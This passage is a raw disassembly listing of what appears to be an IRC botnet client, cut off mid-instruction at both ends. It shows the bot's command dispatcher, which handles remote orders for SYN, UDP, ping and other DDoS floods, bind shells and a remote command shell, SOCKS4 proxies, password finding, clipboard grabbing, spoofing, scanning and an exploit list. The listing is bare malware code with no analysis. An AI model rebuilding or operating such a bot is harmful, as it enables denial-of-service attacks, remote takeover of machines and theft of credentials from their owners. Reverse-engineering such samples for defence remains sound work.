eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_41843B add esp, 18h loc_4026E2: ; CODE XREF: sub_401ACD+BAFj ; sub_401ACD+BC3j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40263B lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_4026FF: ; CODE XREF: sub_401ACD+C7Ej push [ebp+arg_20] lea eax, [ebp+SubStr] push offset aD_0 ; "$%d" push eax ; Dest call _sprintf lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h test eax, eax jz short loc_402742 mov eax, [edi] cmp eax, ebx jz short loc_402742 push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_41843B add esp, 0Ch loc_402742: ; CODE XREF: sub_401ACD+C5Aj ; sub_401ACD+C60j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_4026FF mov [ebp+var_2C8], 1 loc_402757: ; CODE XREF: sub_401ACD+AE6j ; sub_401ACD+B14j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_402770 cmp [ebp+var_2C8], ebx jz loc_402961 loc_402770: ; CODE XREF: sub_401ACD+C95j push [ebp+Source] ; Source mov edi, [ebp+Src] push offset aMe ; "$me" push edi ; Src call sub_41843B lea eax, [ebp+var_C4] push eax ; Source push offset aUser ; "$user" push edi ; Src call sub_41843B push [ebp+Format] ; Source push offset aChan ; "$chan" push edi ; Src call sub_41843B push ebx ; Str1 push ebx ; int lea eax, [ebp+SubStr] push 2 ; int push eax ; Dest call sub_40AE84 push eax ; Source push offset aRndnick ; "$rndnick" push edi ; Src call sub_41843B add esp, 40h push [ebp+arg_14] ; Source push offset aServer ; "$server" push edi ; Src call sub_41843B mov edi, offset aChr ; "$chr(" push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 14h loc_4027E2: ; CODE XREF: sub_401ACD+E0Dj test eax, eax jz loc_4028DF push edi ; SubStr push [ebp+Src] ; Str call _strstr mov [ebp+Source], eax add eax, 5 push 4 ; Count push eax ; Source lea eax, [ebp+SubStr] push eax ; Dest call _strncpy lea eax, [ebp+SubStr] push offset asc_42CAAC ; ")" push eax ; Str call _strtok add esp, 1Ch cmp [ebp+SubStr], 30h jl short loc_40282E cmp [ebp+SubStr], 39h jle short loc_402844 loc_40282E: ; CODE XREF: sub_401ACD+D56j push 3 ; Count lea eax, [ebp+SubStr] push offset a63 ; "63" push eax ; Dest call _strncpy add esp, 0Ch loc_402844: ; CODE XREF: sub_401ACD+D5Fj lea eax, [ebp+SubStr] push eax ; Str call _atoi test eax, eax pop ecx jle short loc_40286A lea eax, [ebp+SubStr] push eax ; Str call _atoi pop ecx mov [ebp+var_94], al jmp short loc_40287E ; --------------------------------------------------------------------------- loc_40286A: ; CODE XREF: sub_401ACD+D86j call _rand push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_40287E: ; CODE XREF: sub_401ACD+D9Bj lea eax, [ebp+SubStr] mov [ebp+var_93], bl push eax ; Str call _strlen mov [ebp+arg_20], eax push 0Ch ; Size lea eax, [ebp+SubStr] push ebx ; Val push eax ; Dst call _memset mov eax, [ebp+arg_20] add eax, 6 push eax ; Count lea eax, [ebp+SubStr] push [ebp+Source] ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_94] push eax ; Source lea eax, [ebp+SubStr] push eax ; SubStr push [ebp+Src] ; Src call sub_41843B push edi ; SubStr push [ebp+Src] ; Str call _strstr add esp, 30h jmp loc_4027E2 ; --------------------------------------------------------------------------- loc_4028DF: ; CODE XREF: sub_401ACD+D17j mov edi, 1FFh lea eax, [ebp+Str] push edi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push edi ; Count push eax ; Source lea eax, [ebp+var_4EF8] push eax ; Dest call _strncpy lea eax, [ebp+var_4EF8] push offset asc_42CDC0 ; " " push eax ; Str call _strtok add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+Args] mov [ebp+Source], 1Fh loc_40292F: ; CODE XREF: sub_401ACD+E77j push offset asc_42CDC0 ; " " push ebx ; Str call _strtok mov [edi], eax pop ecx add edi, 4 dec [ebp+Source] pop ecx jnz short loc_40292F mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401F75 add ecx, 3 mov [eax], ecx loc_402961: ; CODE XREF: sub_401ACD+C9Dj mov edi, [ebp+esi+var_90] push edi ; Str2 push offset aRndnick_0 ; "rndnick" mov [ebp+arg_8], edi call _strcmp pop ecx test eax, eax pop ecx jz loc_4095F2 push edi ; Str2 push offset aRn ; "rn" call _strcmp pop ecx test eax, eax pop ecx jz loc_4095F2 push edi ; Str2 push offset aDi3 ; "di3" call _strcmp pop ecx test eax, eax pop ecx jz loc_4049B3 push edi ; Str2 push offset aDi3 ; "di3" call _strcmp pop ecx test eax, eax pop ecx jz loc_4049B3 push edi ; Str2 push offset aLogout ; "logout" call _strcmp pop ecx test eax, eax pop ecx jz loc_404911 push edi ; Str2 push offset aLo ; "lo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404911 push edi ; Str2 push offset aVersion ; "version" call _strcmp pop ecx test eax, eax pop ecx jz loc_404902 push edi ; Str2 push offset aVer ; "ver" call _strcmp pop ecx test eax, eax pop ecx jz loc_404902 push edi ; Str2 push offset aRulez ; "rulez" call _strcmp pop ecx test eax, eax pop ecx jz loc_4048F8 push edi ; Str2 push offset aRz ; "rz" call _strcmp pop ecx test eax, eax pop ecx jz loc_4048F8 push edi ; Str2 push offset aSpeedtest ; "speedtest" call _strcmp pop ecx test eax, eax pop ecx jz loc_4048DF push edi ; Str2 push offset aSt ; "st" call _strcmp pop ecx test eax, eax pop ecx jz loc_4048DF push edi ; Str2 push offset aSecure ; "secure" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047E1 push edi ; Str2 push offset aSec ; "sec" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047E1 push edi ; Str2 push offset aUnsecure ; "unsecure" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047E1 push edi ; Str2 push offset aUnsec ; "unsec" call _strcmp pop ecx test eax, eax pop ecx jz loc_4047E1 push edi ; Str2 push offset aBindshell ; "bindshell" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046DB push edi ; Str2 push offset aBd ; "bd" call _strcmp pop ecx test eax, eax pop ecx jz loc_4046DB push edi ; Str2 push offset aBindshellstop ; "bindshellstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402B0E push dword ptr [ebp+esi+Args] push 6 push offset aServer_0 ; "Server" push offset dword_42CA08 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B0E: ; CODE XREF: sub_401ACD+1027j push edi ; Str2 push offset aSocks4 ; "socks4" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045B9 push edi ; Str2 push offset aS4 ; "s4" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045B9 push edi ; Str2 push offset aSocks4stop ; "socks4stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402B61 push dword ptr [ebp+esi+Args] push 19h push offset aServer_0 ; "Server" push offset dword_42C9E0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B61: ; CODE XREF: sub_401ACD+107Aj push edi ; Str2 push offset aRloginstop ; "rloginstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402B8A push dword ptr [ebp+esi+Args] push 9 push offset aServer_0 ; "Server" push offset dword_42C9C4 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402B8A: ; CODE XREF: sub_401ACD+10A3j push edi ; Str2 push offset aHttpstop ; "httpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402BB3 push dword ptr [ebp+esi+Args] push 3 push offset aServer_0 ; "Server" push offset dword_42C9A8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BB3: ; CODE XREF: sub_401ACD+10CCj push edi ; Str2 push offset aLogstop ; "logstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402BDC push dword ptr [ebp+esi+Args] push 25h push offset aLogList ; "Log list" push offset dword_42C988 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402BDC: ; CODE XREF: sub_401ACD+10F5j push edi ; Str2 push offset aRedirectstop ; "redirectstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402C05 push dword ptr [ebp+esi+Args] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_42C958 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C05: ; CODE XREF: sub_401ACD+111Ej push edi ; Str2 push offset aDdos_stop ; "ddos.stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402C2E push dword ptr [ebp+esi+Args] push 0Dh push offset aDdosFlood ; "DDoS flood" push offset dword_42C934 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C2E: ; CODE XREF: sub_401ACD+1147j push edi ; Str2 push offset aSynstop ; "synstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402C57 push dword ptr [ebp+esi+Args] push 0Eh push offset aSynFlood ; "Syn flood" push offset dword_42C914 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C57: ; CODE XREF: sub_401ACD+1170j push edi ; Str2 push offset aSkysynstop ; "skysynstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402C80 push dword ptr [ebp+esi+Args] push 10h push offset aSkysynFlood ; "SkySyn flood" push offset dword_42C8E8 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402C80: ; CODE XREF: sub_401ACD+1199j push edi ; Str2 push offset aTarga3stop ; "targa3stop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402CA9 push dword ptr [ebp+esi+Args] push 11h push offset aTarga3Flood ; "Targa3 flood" push offset dword_42C8BC jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CA9: ; CODE XREF: sub_401ACD+11C2j push edi ; Str2 push offset aWonkstop ; "wonkstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402CD2 push dword ptr [ebp+esi+Args] push 12h push offset aWonkFlood ; "Wonk flood" push offset dword_42C898 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402CD2: ; CODE XREF: sub_401ACD+11EBj push edi ; Str2 push offset aPacketstop ; "packetstop" call _strcmp pop ecx test eax, eax pop ecx jnz loc_402E28 mov esi, dword ptr [ebp+esi+Args] mov edi, [ebp+arg_4] push esi ; Str push 0Dh ; int push offset aDdosFlood ; "DDoS flood" push offset dword_42C934 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B648 push esi ; Str push 0Eh ; int push offset aSynFlood ; "Syn flood" push offset dword_42C914 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B648 add esp, 40h push esi ; Str push 17h ; int push offset aUdpFlood ; "UDP flood" push offset dword_42C874 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B648 push esi ; Str push 16h ; int push offset aPingFlood ; "Ping flood" push offset dword_42C85C ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B648 add esp, 40h push esi ; Str push 11h ; int push offset aTarga3Flood ; "Targa3 flood" push offset dword_42C8BC ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B648 push esi ; Str push 12h ; int push offset aWonkFlood ; "Wonk flood" push offset dword_42C898 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B648 add esp, 40h push esi ; Str push 0Fh ; int push offset aTsunamiFlood ; "Tsunami flood" push offset dword_42C83C ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B648 push esi ; Str push 13h ; int push offset aWisdomAttack ; "Wisdom attack" push offset dword_42C81C ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B648 add esp, 40h push esi ; Str push 10h ; int push offset aSkysynFlood ; "SkySyn flood" push offset dword_42C8E8 ; int push 1 ; int push [ebp+var_4] ; int push [ebp+Format] ; int push edi ; int call sub_40B648 push ebx ; int push [ebp+var_4] ; int push offset unk_42C7E8 ; int push [ebp+Format] ; Str push edi ; int call sub_409869 add esp, 34h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_402E28: ; CODE XREF: sub_401ACD+1214j push edi ; Str2 push offset aTsunamistop ; "tsunamistop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E51 push dword ptr [ebp+esi+Args] push 0Fh push offset aTsunamiFlood ; "Tsunami flood" push offset dword_42C83C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E51: ; CODE XREF: sub_401ACD+136Aj push edi ; Str2 push offset aWisdomstop ; "wisdomstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402E7A push dword ptr [ebp+esi+Args] push 13h push offset aWisdomAttack ; "Wisdom attack" push offset dword_42C81C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402E7A: ; CODE XREF: sub_401ACD+1393j push edi ; Str2 push offset aUdpstop ; "udpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402EA3 push dword ptr [ebp+esi+Args] push 17h push offset aUdpFlood ; "UDP flood" push offset dword_42C874 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EA3: ; CODE XREF: sub_401ACD+13BCj push edi ; Str2 push offset aPingstop ; "pingstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402ECC push dword ptr [ebp+esi+Args] push 16h push offset aPingFlood ; "Ping flood" push offset dword_42C85C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402ECC: ; CODE XREF: sub_401ACD+13E5j push edi ; Str2 push offset aTftpstop ; "tftpstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402EF5 push dword ptr [ebp+esi+Args] push 5 push offset aServer_0 ; "Server" push offset dword_42C7A0 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402EF5: ; CODE XREF: sub_401ACD+140Ej push edi ; Str2 push offset aFindfilestop ; "findfilestop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045A1 push edi ; Str2 push offset aFfstop ; "ffstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_4045A1 push edi ; Str2 push offset aProcsstop ; "procsstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_404589 push edi ; Str2 push offset aPsstop ; "psstop" call _strcmp pop ecx test eax, eax pop ecx jz loc_404589 push edi ; Str2 push offset aClonestop ; "clonestop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402F72 push dword ptr [ebp+esi+Args] push 1Fh push offset aClone ; "Clone" push offset dword_42C750 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F72: ; CODE XREF: sub_401ACD+148Bj push edi ; Str2 push offset aSecurestop ; "securestop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402F9B push dword ptr [ebp+esi+Args] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C72C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402F9B: ; CODE XREF: sub_401ACD+14B4j push edi ; Str2 push offset aScanstop ; "scanstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402FC4 push dword ptr [ebp+esi+Args] push 0Bh push offset aScan ; "Scan" push offset dword_42C70C jmp loc_408D08 ; --------------------------------------------------------------------------- loc_402FC4: ; CODE XREF: sub_401ACD+14DDj push edi ; Str2 push offset aScanstats ; "scanstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_404573 push edi ; Str2 push offset aStats ; "stats" call _strcmp pop ecx test eax, eax pop ecx jz loc_404573 push edi ; Str2 push offset aTransferstats ; "transferstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_40455D push edi ; Str2 push offset aTrstats ; "trstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_40455D push edi ; Str2 push offset aConnectbacksta ; "connectbackstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_404547 push edi ; Str2 push offset aCbstats ; "cbstats" call _strcmp pop ecx test eax, eax pop ecx jz loc_404547 push edi ; Str2 push offset aExploitlist ; "exploitlist" call _strcmp pop ecx test eax, eax pop ecx jz loc_404531 push edi ; Str2 push offset aExplist ; "explist" call _strcmp pop ecx test eax, eax pop ecx jz loc_404531 push edi ; Str2 push offset aReconnect ; "reconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_404512 push edi ; Str2 push offset aR ; "r" call _strcmp pop ecx test eax, eax pop ecx jz loc_404512 push edi ; Str2 push offset aDisconnect ; "disconnect" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044F0 push edi ; Str2 push offset aDc ; "dc" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044F0 push edi ; Str2 push offset aQuit_0 ; "quit" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044A8 push edi ; Str2 push offset aQ ; "q" call _strcmp pop ecx test eax, eax pop ecx jz loc_4044A8 push edi ; Str2 push offset aStatus ; "status" call _strcmp pop ecx test eax, eax pop ecx jz loc_404494 push edi ; Str2 push offset aS_5 ; "s" call _strcmp pop ecx test eax, eax pop ecx jz loc_404494 push edi ; Str2 push offset aId ; "id" call _strcmp pop ecx test eax, eax pop ecx jz loc_40445D push edi ; Str2 push offset aI ; "i" call _strcmp pop ecx test eax, eax pop ecx jz loc_40445D push edi ; Str2 push offset aR3start ; "r3start" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_403190 call sub_418884 test eax, eax mov eax, offset unk_42C64C jnz short loc_403162 mov eax, offset unk_42C628 loc_403162: ; CODE XREF: sub_401ACD+168Ej push eax ; Format lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 1Ch jmp loc_4082DE ; --------------------------------------------------------------------------- loc_403190: ; CODE XREF: sub_401ACD+1680j push edi ; Str2 push offset aThreads ; "threads" call _strcmp pop ecx test eax, eax pop ecx jz loc_40437E push edi ; Str2 push offset aT ; "t" call _strcmp pop ecx test eax, eax pop ecx jz loc_40437E push edi ; Str2 push offset aAliases ; "aliases" call _strcmp pop ecx test eax, eax pop ecx jz loc_40435B push edi ; Str2 push offset aAl ; "al" call _strcmp pop ecx test eax, eax pop ecx jz loc_40435B push edi ; Str2 push offset aLog ; "log" call _strcmp pop ecx test eax, eax pop ecx jz loc_404268 push edi ; Str2 push offset aLg ; "lg" call _strcmp pop ecx test eax, eax pop ecx jz loc_404268 push edi ; Str2 push offset aClearlog ; "clearlog" call _strcmp pop ecx test eax, eax pop ecx jz loc_40424C push edi ; Str2 push offset aClg ; "clg" call _strcmp pop ecx test eax, eax pop ecx jz loc_40424C push edi ; Str2 push offset aNetinfo ; "netinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_404212 push edi ; Str2 push offset aNi ; "ni" call _strcmp pop ecx test eax, eax pop ecx jz loc_404212 push edi ; Str2 push offset aSysinfo ; "sysinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041E7 push edi ; Str2 push offset aSi ; "si" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041E7 push edi ; Str2 push offset aKosomaky4d ; "KOSOMAKY4D" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041AD push edi ; Str2 push offset aKosomaky4d ; "KOSOMAKY4D" call _strcmp pop ecx test eax, eax pop ecx jz loc_4041AD push edi ; Str2 push offset aProcs ; "procs" call _strcmp pop ecx test eax, eax pop ecx jz loc_40408D push edi ; Str2 push offset aPs ; "ps" call _strcmp pop ecx test eax, eax pop ecx jz loc_40408D push edi ; Str2 push offset aUptime ; "uptime" call _strcmp pop ecx test eax, eax pop ecx jz loc_404005 push edi ; Str2 push offset aUp ; "up" call _strcmp pop ecx test eax, eax pop ecx jz loc_404005 push edi ; Str2 push offset aDriveinfo ; "driveinfo" call _strcmp pop ecx test eax, eax pop ecx jz loc_403FE8 push edi ; Str2 push offset aDrv ; "drv" call _strcmp pop ecx test eax, eax pop ecx jz loc_403FE8 push edi ; Str2 push offset aTestdlls ; "testdlls" call _strcmp pop ecx test eax, eax pop ecx jz loc_403FCF push edi ; Str2 push offset aDll ; "dll" call _strcmp pop ecx test eax, eax pop ecx jz loc_403FCF push edi ; Str2 push offset aOpencmd ; "opencmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F5B push edi ; Str2 push offset aOcmd ; "ocmd" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F5B push edi ; Str2 push offset aCmdstop ; "cmdstop" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4033B1 push dword ptr [ebp+esi+Args] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_42C568 jmp loc_408D08 ; --------------------------------------------------------------------------- loc_4033B1: ; CODE XREF: sub_401ACD+18CAj push edi ; Str2 push offset aWho ; "who" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4034C7 cmp [ebp+var_8], ebx jnz short loc_4033E5 push ebx ; int push [ebp+var_4] ; int push offset dword_42C550 ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_4033E5: ; CODE XREF: sub_401ACD+18FCj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033EF: ; CODE XREF: sub_401ACD+196Cj mov eax, [ebp+arg_18] loc_4033F2: ; CODE XREF: sub_401ACD+1920j cmp [eax], bl jz short loc_4033F9 inc eax jmp short loc_4033FE ; --------------------------------------------------------------------------- loc_4033F9: ; CODE XREF: sub_401ACD+1927j mov eax, offset aEmpty ; "<Empty>" loc_4033FE: ; CODE XREF: sub_401ACD+192Aj push eax push edi lea eax, [ebp+Dst] push offset aD_S ; "%d. %s" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033EF push offset unk_42C520 call sub_415D38 pop ecx loc_403446: ; CODE XREF: sub_401ACD+1BFDj ; sub_401ACD+2EFAj mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F75 push [ebp+arg_8] ; Str2 push offset aSpoof ; "spoof" call _strcmp pop ecx test eax, eax pop ecx jnz loc_404AAB push offset Str2 ; "off" push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_4049D9 lea eax, [ebp+Dst] push offset asc_42C4EC ; "-" push eax ; Dest mov dword_4CF180, ebx call _sprintf pop ecx pop ecx loc_40349D: ; CODE XREF: sub_401ACD+2FD9j cmp [ebp+var_8], ebx jnz loc_409644 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 loc_4034BF: ; CODE XREF: sub_401ACD+7032j add esp, 14h jmp loc_409644 ; --------------------------------------------------------------------------- loc_4034C7: ; CODE XREF: sub_401ACD+18F3j push edi ; Str2 push offset aGetclip ; "getclip" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F1A push edi ; Str2 push offset aGc ; "gc" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F1A push edi ; Str2 push offset aFlusharp ; "flusharp" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F03 push edi ; Str2 push offset aFarp ; "farp" call _strcmp pop ecx test eax, eax pop ecx jz loc_403F03 push edi ; Str2 push offset aFlushdns ; "flushdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_403ECB push edi ; Str2 push offset aFdns ; "fdns" call _strcmp pop ecx test eax, eax pop ecx jz loc_403ECB push edi ; Str2 push offset aCurrentip ; "currentip" call _strcmp pop ecx test eax, eax pop ecx jz loc_403E91 push edi ; Str2 push offset aCip ; "cip" call _strcmp pop ecx test eax, eax pop ecx jz loc_403E91 push edi ; Str2 push offset aRloginserver ; "rloginserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403D56 push edi ; Str2 push offset aRlogin ; "rlogin" call _strcmp pop ecx test eax, eax pop ecx jz loc_403D56 push edi ; Str2 push offset aHttpserver ; "httpserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403BCA push edi ; Str2 push offset aHttp ; "http" call _strcmp pop ecx test eax, eax pop ecx jz loc_403BCA push edi ; Str2 push offset aTftpserver ; "tftpserver" call _strcmp pop ecx test eax, eax pop ecx jz loc_403A90 push edi ; Str2 push offset aTftp ; "tftp" call _strcmp pop ecx test eax, eax pop ecx jz loc_403A90 push edi ; Str2 push offset aShitycrash ; "shitycrash" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_403653 lea eax, [ebp+Dst] push offset unk_42C444 ; Format push eax ; Dest call _sprintf cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403632 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 14h loc_403632: ; CODE XREF: sub_401ACD+1B47j lea eax, [ebp+Dst] push eax ; Str2 call sub_415D38 mov [esp+569Ch+var_569C], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] ; Str1 call _strcmp jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403653: ; CODE XREF: sub_401ACD+1B2Fj push edi ; Str2 push offset aAsc ; "asc" call _strcmp pop ecx test eax, eax pop ecx jz loc_403789 push edi ; Str2 push offset aAs ; "as" call _strcmp pop ecx test eax, eax pop ecx jz loc_403789 push edi ; Str2 push offset aPhonehome ; "phonehome" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4036AA lea eax, [ebp+var_C4] push eax ; Args push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] ; int call sub_409823 loc_4036A2: ; CODE XREF: sub_401ACD+47Bj add esp, 0Ch jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj push edi ; Str2 push offset aFindpass ; "findpass" call _strcmp pop ecx test eax, eax pop ecx jz short loc_4036D0 push edi ; Str2 push offset aFp ; "fp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_403446 loc_4036D0: ; CODE XREF: sub_401ACD+1BECj push [ebp+Format] ; Format lea eax, [ebp+var_FEC] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax push offset asc_42C3C4 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 26h ; int push eax ; Source call sub_40B3BA add esp, 18h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_4172C1 push ebx push ebx call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_403778 loc_403762: ; CODE XREF: sub_401ACD+1CA9j cmp [ebp+var_F60], ebx jnz loc_4082DE push 32h call ds:dword_427080 ; Sleep jmp short loc_403762 ; --------------------------------------------------------------------------- loc_403778: ; CODE XREF: sub_401ACD+1C93j call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42C388 jmp loc_4082CF ; --------------------------------------------------------------------------- loc_403789: ; CODE XREF: sub_401ACD+1B95j ; sub_401ACD+1BAAj mov al, byte_4319DA mov [ebp+Src], ebx cmp al, bl mov edx, offset byte_4319DA jz loc_401F75 mov ecx, edx loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj inc [ebp+Src] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037A0 cmp al, bl jz loc_401F75 mov [ebp+arg_18], edx loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj push 0Bh call sub_40B602 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+Src] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_403808 push ecx lea eax, [ebp+Dst] push offset asc_42C34C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409869 add esp, 20h jmp loc_403A72 ; --------------------------------------------------------------------------- loc_403808: ; CODE XREF: sub_401ACD+1D06j or [ebp+var_730], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+Src], ebx jz short loc_403875 mov eax, [ebp+arg_18] mov esi, offset dword_4317F8 lea edi, [eax-0Ah] loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj lea eax, [esi-28h] push edi ; Str2 push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40385B inc [ebp+Src] add esi, 40h cmp [esi], ebx jnz short loc_40383F jmp short loc_403875 ; --------------------------------------------------------------------------- loc_40385B: ; CODE XREF: sub_401ACD+1D80j mov eax, [ebp+Src] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_74C], ecx loc_403875: ; CODE XREF: sub_401ACD+1D65j ; sub_401ACD+1D8Cj cmp [ebp+var_74C], ebx jz loc_403A86 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call 